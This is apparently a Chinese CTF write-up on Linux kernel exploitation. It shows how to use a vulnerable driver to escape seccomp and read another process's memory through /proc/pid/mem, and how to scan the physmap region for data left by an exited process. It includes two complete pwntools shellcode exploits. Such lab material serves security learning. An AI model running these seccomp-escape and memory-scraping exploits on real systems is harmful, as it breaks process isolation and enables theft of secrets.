kernel security 3: 利用内核漏洞获取其他进程信息

2025-10-10

1. 前言

遇到了某种特定类型的CTF题目,大意是说,我们只能和父进程交互,但是flag被保留在子进程的内存当中(没有其他地方留存),父进程能够与内核驱动交互。题目的本意是让我们通过驱动的漏洞,让父进程能够偷取子进程的信息,打破进程隔离。
我感觉十分的牛逼,故单开一章用于讲述实际实现和解法。

2. 子进程存储flag

代码逻辑如下图所示:
总的来说,父进程创建子进程读取flag文件的内容后,并删除flag文件本身。 随后父进程开启seccomp,只允许write执行,并允许我们输入shellcode
有问题的驱动程序代码如下:

2.1 解题思路

  1. 首先还是利用内核漏洞,解除seccomp机制。
  2. 随后,确定子进程的pid后,用open函数打开/proc/pid/mem
  3. fseek文件描述符到0x404040(flag的存放位置处)
  4. read函数读取flag内容并打印
from pwn import *
context.arch = 'amd64'
context.os = 'linux'

escape_seccomp_shellcode = """
mov    rax,QWORD PTR gs:0x15d00
and    QWORD PTR [rax],0xfffffffffffffeff
ret
"""

execute_shellcode = f"""
/*write escape_seccomp_shellcode into kernel_module*/
mov rax, SYS_write
mov rdi, 3   /*目标程序打开的驱动文件描述符*/
lea rsi, [rip+escape_seccomp_shellcode]
mov rdx, {len(asm(escape_seccomp_shellcode))}
syscall 

/*open file*/
mov rax, SYS_open
lea rdi, [rip+file_name]
mov rsi, O_RDONLY
mov rdx, 511
syscall

/*fseek*/
mov rdi, rax
mov rsi, 0x404040 /*flag存放的虚拟地址*/
mov rdx, SEEK_SET
mov rax, SYS_lseek
syscall

/*fread*/
lea rsi, [rip+buffer]
mov rdx,0x200
mov rax, SYS_read
syscall

/*fwrite*/
mov rdi, 1 #out_fd
lea rsi, [rip+buffer]
mov rdx, 0x200
mov rax, SYS_write
syscall

mov rax, SYS_exit
syscall

escape_seccomp_shellcode:
{escape_seccomp_shellcode}

.align 8
file_name:
.string "/proc/166/mem"
.align 8
buffer:
.space 0x200
"""

bytes_io = asm(execute_shellcode)
f = open("./shellcode.bin","wb")
f.write(bytes_io)
f.close()

3. 子进程存储flag后退出——physmap

这道题跟#2的题目非常类似,唯一有区别的点在于:子进程在加载flag后,没有一直循环等待,而是直接退出
这道题利用到的是linux内核中的physmap机制。
physmap的核心是:内核空间维护了一段虚拟地址,以ffff888000000000起始,这个地址与机器实际拥有的物理地址空间是一一映射关系。也就是说,如果你直接通过这段地址中读取内容,等于直接从物理内存里读内容
这里又涉及到另一点,进程销毁后,其内容还保留在物理内存当中;此时你如果不做其他的申请内存的操作,那么内容所处的空间就不会被占用,继而一直存在!

3.1 解题思路

这道题目flag还是存储在0x404040地址处,即某个page的0x40位置。
尝试遍历内核地址空间的physmap区域每个page的0x40地址开头的值是否是pwn,是的话将其打印出来即可。

from pwn import *
context.arch = 'amd64'
context.os = 'linux'
print(hex(u64(b"college{")))

escape_seccomp_shellcode = """
mov rsi, 0x7b6567656c6c6f63  /*special flag*/
/*traverse the addr*/
mov rax, 0xffff888000000044
loop:
mov rdi, [rax]
cmp rdi, rsi
je end
add rax, 0x1000
jmp loop
end:
mov rdi, rax
mov rbx, 0xffffffff810b69a9 /*printk addr*/
call rbx
ret
"""

execute_shellcode = f"""
/*write escape_seccomp_shellcode into kernel_module*/
mov rax, SYS_write
mov rdi, 3
lea rsi, [rip+escape_seccomp_shellcode]
mov rdx, {len(asm(escape_seccomp_shellcode))}
syscall

mov rax, SYS_exit
syscall

escape_seccomp_shellcode:
{escape_seccomp_shellcode}
"""

bytes_io = asm(execute_shellcode)
f = open("./shellcode.bin","wb")
f.write(bytes_io)
f.close()